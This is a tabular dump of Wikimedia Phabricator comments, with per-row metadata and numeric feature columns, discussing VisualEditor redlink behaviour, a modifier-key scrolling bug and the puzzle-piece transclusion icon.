404202,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",@Krenair: should I abandon my patch then?,,,1422490645,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,82,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,1.0,SCREEN_NAME: should I abandon my patch then?
401972,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",This has to be discussed further.,,,1421814853,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,81,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,This has to be discussed further.
401041,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#849854, @matmarex wrote:
> What I meant is that a vocal group of English Wikipedia users hates VisualEditor's guts and would enjoy the new opportunity to spit on it. I hope this clarifies the issue. :)
> 
> VisualEditor is also still not quite compatible with some languages and some wikis' conventions, so this would regardless need to be behind a configuration option.

I thought, they asked to switch it off at all. ",,,1421475541,,PHID-USER-vm462i2ffbawnuo4mh3n,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,80,,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,15.0,0.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,15.0,15.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,0.75,"QUOTE
QUOTE
QUOTE
QUOTE

I thought, they asked to switch it off at all. "
396692,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","I support not making assumptions about the editor, but I think making action=edit point to VisualEditor would break lots of things.",,,1420725110,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,79,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.44,0.92,"I support not making assumptions about the editor, but I think making action=edit point to VisualEditor would break lots of things."
396676,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","I think the editor should initialise at a canonical url. Perhaps with a way to force a specific editor but the vast majority of urls should point to the edit page without making assumptions about what editor that is. This means when we switch the default, existing urls will work as expected.

We already have two different editors for wikitext (classic toolbar and WikiEditor). Though they don't have a way to switch without changing user preferences right now, WikiEditor loads on the old edit page. I think from a user perspective, VisualEditor should be introduced the same way.

action=edit:
* Would load editor based on user preference. Default user preference being the site default. As with any user preference, this preference can be made immutable or hidden from the preferences page if we don't want it to be per-user.
* Use `&editor=...` to force a specific editor. This is what can be used when applications need to interoperate. E.g. in gadgets needing wikitext. Or when VisualEditor submits data to the wikitext editor (though it may incorporate its own wikitext editor). And of course in links like ""Edit"" / ""Edit source"". And permalinks (VisualEditor may want to do a pushState to editor=ve once loaded via plain action=edit so that one can share permalinks).",,,1420722912,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,79,,0.3333333333333333,0.0,0.0,1.0,0.6666666666666666,4.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,2.0,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,3.6666666666666665,12.0,0.0,2.6666666666666665,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.0,0.6666666666666666,0.6666666666666666,5.333333333333333,1.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,17.666666666666668,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,5.333333333333333,2.3333333333333335,8.333333333333334,3.0,2.3333333333333335,7.666666666666667,0.0,0.0,0.0,0.0,7.0,0.0,0.3333333333333333,0.0,3.6666666666666665,12.0,3.3333333333333335,0.0,1.6666666666666667,0.0,3.6666666666666665,0.0,2.0,2.3333333333333335,0.0,1.3333333333333333,0.0,0.0,0.0,4.139443684450524,0.7185134518923849,"I think the editor should initialise at a canonical url. Perhaps with a way to force a specific editor but the vast majority of urls should point to the edit page without making assumptions about what editor that is. This means when we switch the default, existing urls will work as expected.

We already have two different editors for wikitext (classic toolbar and WikiEditor). Though they don't have a way to switch without changing user preferences right now, WikiEditor loads on the old edit page. I think from a user perspective, VisualEditor should be introduced the same way.

action=edit:
* Would load editor based on user preference. Default user preference being the site default. As with any user preference, this preference can be made immutable or hidden from the preferences page if we don't want it to be per-user.
* Use CODE to force a specific editor. This is what can be used when applications need to interoperate. E.g. in gadgets needing wikitext. Or when VisualEditor submits data to the wikitext editor (though it may incorporate its own wikitext editor). And of course in links like ""Edit"" / ""Edit source"". And permalinks (VisualEditor may want to do a pushState to editor=ve once loaded via plain action=edit so that one can share permalinks)."
342723,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","What I meant is that a vocal group of English Wikipedia users hates VisualEditor's guts and would enjoy the new opportunity to spit on it. I hope this clarifies the issue. :)

VisualEditor is also still not quite compatible with some languages and some wikis' conventions, so this would regardless need to be behind a configuration option.",,,1418717375,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,76,,3.0,0.0,0.0,0.0,2.0,5.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,8.0,12.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,8.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,6.0,5.0,11.0,3.0,3.0,12.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,12.0,6.0,0.0,2.0,0.0,5.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,4.4375,0.8125,"What I meant is that a vocal group of English Wikipedia users hates VisualEditor's guts and would enjoy the new opportunity to spit on it. I hope this clarifies the issue. :)

VisualEditor is also still not quite compatible with some languages and some wikis' conventions, so this would regardless need to be behind a configuration option."
342702,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",">>! In T55441#840960, @matmarex wrote:
> I am not sure of this change will be beneficial at this point, given that VE is currently still used by  minority of users. It might result in more people disabling VE entirely.

Why do you think so? I have a reason, why I set up VE and I am disappointed it doesn not work for creating new pages. Who might be disappointed from using it on VE?

",,,1418699501,,PHID-USER-vm462i2ffbawnuo4mh3n,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,76,,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,20.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,9.0,5.0,5.0,0.0,0.0,14.0,0.0,7.0,2.0,0.0,5.0,0.0,0.0,0.0,3.2954545454545454,0.8181818181818182,"QUOTE
QUOTE

Why do you think so? I have a reason, why I set up VE and I am disappointed it doesn not work for creating new pages. Who might be disappointed from using it on VE?

"
342701,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","I reported this as a nead to create new page with VE. In this ligt there is a not logic message ""you follow the link to the page which does not exist"" Basically yes, but I had to do the step out of the page displayed with normal wikitext editing to the different one in VE. Once this bug removed, this can stay.",,,1418699317,,PHID-USER-vm462i2ffbawnuo4mh3n,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,76,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,3.0,0.0,4.0,17.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,10.0,1.0,10.0,1.0,1.0,17.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,4.0,17.0,3.0,0.0,3.0,0.0,4.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.557142857142857,0.7,"I reported this as a nead to create new page with VE. In this ligt there is a not logic message ""you follow the link to the page which does not exist"" Basically yes, but I had to do the step out of the page displayed with normal wikitext editing to the different one in VE. Once this bug removed, this can stay."
340907,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","One question is whether we want to just overwrite existing edit links, or to add a new one, for example in the [[ https://www.mediawiki.org/w/index.php?title=VisualEditor&action=info&uselang=en#Page_properties | page properties ]] section.
In the first case, we probably don't want that to happen on WMF sites at all.",,,1418291385,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,75,,2.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,9.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,2.0,7.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,4.0,17.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.3703703703703702,0.8148148148148148,"One question is whether we want to just overwrite existing edit links, or to add a new one, for example in the [[ URL | page properties ]] section.
In the first case, we probably don't want that to happen on WMF sites at all."
340897,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Thanks for the patch. I think we should look for a solution that neither requires a user preference nor a forced standard for all users. Can we initialize the interface in a way that reflects the user's previous choice (for the first time, it is whatever the wiki's default is)? Can this be done intuitively without going all the way to reorganizing tabs? Partially a #design question.",,,1418289610,,PHID-USER-766idcqt4jkngnnuhnrj,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,75,,3.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,4.0,1.0,3.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,21.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,14.0,4.0,6.0,0.0,1.0,21.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,5.0,9.0,0.0,3.0,0.0,0.0,5.0,0.0,4.0,6.0,0.0,3.0,0.0,0.0,0.0,4.089743589743589,0.7051282051282052,"Thanks for the patch. I think we should look for a solution that neither requires a user preference nor a forced standard for all users. Can we initialize the interface in a way that reflects the user's previous choice (for the first time, it is whatever the wiki's default is)? Can this be done intuitively without going all the way to reorganizing tabs? Partially a #design question."
340890,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","I am not sure of this change will be beneficial at this point, given that VE is currently still used by  minority of users. It might result in more people disabling VE entirely.",,,1418289058,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,75,,0.0,0.0,3.0,3.0,3.0,8.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,11.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.918918918918919,0.8918918918918919,"I am not sure of this change will be beneficial at this point, given that VE is currently still used by  minority of users. It might result in more people disabling VE entirely."
340887,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","I am not sure of this change will be beneficial at this point, given that VE is currently still used by  minority of users. It might result in more people disabling VE entirely. Especially since it still doesn't support real section editing (T50429).",,,1418288995,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,True,,,75,,0.0,0.0,2.0,2.0,4.0,8.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,14.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,10.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.078431372549019,0.8823529411764706,"I am not sure of this change will be beneficial at this point, given that VE is currently still used by  minority of users. It might result in more people disabling VE entirely. Especially since it still doesn't support real section editing (T50429)."
340287,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)","Change 178817 had a related patch set uploaded (by Ricordisamoa):
Consistent edit links

[[https://gerrit.wikimedia.org/r/178817]]

#patch-for-review",,,1418211040,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,75,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8275862068965516,0.8275862068965517,"Change 178817 had a related patch set uploaded (by Ricordisamoa):
Consistent edit links

[[GERRIT_URL]]

#patch-for-review"
340286,"VisualEditor: Where VisualEditor is the primary editor, redlinks in read mode should open VE (not wikitext editor)",Let's give it a try.,,,1418211003,,PHID-USER-je4a7kqdfgacwkyhtg4c,True,,,PHID-TASK-r7e6j3kldhsiy2cc57wd,task_subcomment,,True,c1,3,False,,,75,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,2.2857142857142856,1.0,Let's give it a try.
55420,VisualEditor: Pressing a modifier key (Ctrl/Alt/Shift/Cmd/etc.) when cursor is offscreen or under the toolbar causes the page to scroll up,"**Author:** `p.selitskas`

**Description:**
Reproducing:
1. Open the VisualEditor
2. Put the cursor in a place where ""Paragraph"" (or whatever else) disappears. (For example, into the ugly and unbearable empty line in pages with infobox at the very beginning.) The content editor must be kept active and cursor blinking.
3. Scroll it down a bit.
4. Press Ctrl, Alt, or Shift, or every possible combination of these
5. See the content editor scroll up step by step (or as many steps per time as many keys are in combination.

I can reproduce this in Chrome 29.0.1547.57 and Firefox 23.0.1 on Windows.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1377634200,1437759675.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-oveveoihmpyqrm3ltjzu,task_description,resolved,True,c1,3,False,False,False,8,,2.0,0.0,0.5,0.5,0.0,5.0,0.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.5,0.0,1.5,8.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,4.5,1.0,12.5,0.5,4.0,6.5,0.0,0.0,0.0,0.0,4.0,0.0,2.5,0.0,1.0,8.5,6.5,0.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,2.5,3.624553716325868,0.6941739694904252,"**Author:** CODE

**Description:**
Reproducing:
1. Open the VisualEditor
2. Put the cursor in a place where ""Paragraph"" (or whatever else) disappears. (For example, into the ugly and unbearable empty line in pages with infobox at the very beginning.) The content editor must be kept active and cursor blinking.
3. Scroll it down a bit.
4. Press Ctrl, Alt, or Shift, or every possible combination of these
5. See the content editor scroll up step by step (or as many steps per time as many keys are in combination.

I can reproduce this in Chrome 29.0.1547.57 and Firefox 23.0.1 on Windows.

--------------------------
**Version**: unspecified
**Severity**: minor"
496522,VisualEditor: Pressing a modifier key (Ctrl/Alt/Shift/Cmd/etc.) when cursor is offscreen or under the toolbar causes the page to scroll up,Seems to be fixed now.,,,1437759675,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-oveveoihmpyqrm3ltjzu,task_subcomment,,True,c1,3,True,,,107,,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Seems to be fixed now.
241512,VisualEditor: Pressing a modifier key (Ctrl/Alt/Shift/Cmd/etc.) when cursor is offscreen or under the toolbar causes the page to scroll up,"fwiw, this is still happening.",,,1383117125,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-oveveoihmpyqrm3ltjzu,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,3.7142857142857144,1.0,"fwiw, this is still happening."
55396,"VisualEditor: Toolbar icons - ""Transclusion"" (puzzle piece) alternatives or improvements","en.wp user Risker reports from an editathon that of the participants:
""not a one of them understood what the ""puzzle piece"" was supposed to represent, and when shown, all of them still thought it was a poorly chosen icon.  Most had no suggestion as to an alternative, although two thought ""curly brackets"" would be a good idea.  I suspect that's because they'd seen curly brackets for templates when using wikitext.""

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51372",Medium,50.0,1377598380,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-wnl2ydoz2ca2h7xcsvtk,task_description,open,True,c1,3,False,False,,8,,0.5,0.0,0.0,0.5,0.5,4.5,1.5,1.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,3.5,5.5,0.0,0.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,1.5,0.0,2.0,5.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.5,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.5,4.0,2.0,6.0,2.5,0.5,6.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,3.0,5.5,0.5,0.0,4.0,0.0,3.0,0.0,2.0,3.0,1.0,1.0,0.0,0.5,0.0,3.8103448275862073,0.7155172413793104,"en.wp user Risker reports from an editathon that of the participants:
""not a one of them understood what the ""puzzle piece"" was supposed to represent, and when shown, all of them still thought it was a poorly chosen icon.  Most had no suggestion as to an alternative, although two thought ""curly brackets"" would be a good idea.  I suspect that's because they'd seen curly brackets for templates when using wikitext.""

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
598259,"VisualEditor: Toolbar icons - ""Transclusion"" (puzzle piece) alternatives or improvements",Can we close this given we now show text in the menu?,,,1453915511,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-wnl2ydoz2ca2h7xcsvtk,task_subcomment,,True,c1,3,True,,,134,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,8.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.230769230769231,0.9230769230769231,Can we close this given we now show text in the menu?
240354,"VisualEditor: Toolbar icons - ""Transclusion"" (puzzle piece) alternatives or improvements","(In reply to comment #0)
> en.wp user Risker reports from an editathon that of the participants:
> ""not a one of them understood what the ""puzzle piece"" was supposed to
> represent, and when shown, all of them still thought it was a poorly chosen
> icon.

Yeah; we all hate it, and are using it because it's the least-bad option suggested so far (it's historically been the icon used in attempts at visual editors for MW since 2003).

>  Most had no suggestion as to an alternative, although two thought
> ""curly brackets"" would be a good idea.  I suspect that's because they'd seen
> curly brackets for templates when using wikitext.""

Indeed - we're trying to break the linkage with wikitext, and I don't think braces make for much of an increased level of obviousness.

The new toolbar which allows buttons to self-describe if they're in a drop-down may help this significantly, but for now will keep this open.",,,1377831641,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wnl2ydoz2ca2h7xcsvtk,task_subcomment,,True,c1,3,True,,,8,,1.5,0.0,0.0,0.0,1.0,3.5,0.5,0.5,0.0,1.0,2.0,2.5,0.0,0.0,0.0,2.0,0.0,5.0,11.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,1.0,1.0,0.0,5.0,1.0,2.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,1.5,0.0,1.0,0.0,1.0,0.0,4.0,1.0,7.5,2.0,2.0,7.0,0.0,0.0,0.0,0.5,5.5,0.0,1.0,0.0,5.0,11.0,2.5,0.0,0.0,0.0,5.0,0.0,1.0,1.5,0.0,1.5,0.0,0.5,0.0,3.5542754736303124,0.7764976958525346,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

Yeah; we all hate it, and are using it because it's the least-bad option suggested so far (it's historically been the icon used in attempts at visual editors for MW since 2003).

QUOTE
QUOTE
QUOTE

Indeed - we're trying to break the linkage with wikitext, and I don't think braces make for much of an increased level of obviousness.

The new toolbar which allows buttons to self-describe if they're in a drop-down may help this significantly, but for now will keep this open."
240350,"VisualEditor: Toolbar icons - ""Transclusion"" (puzzle piece) alternatives or improvements","**ypnypn9** wrote:

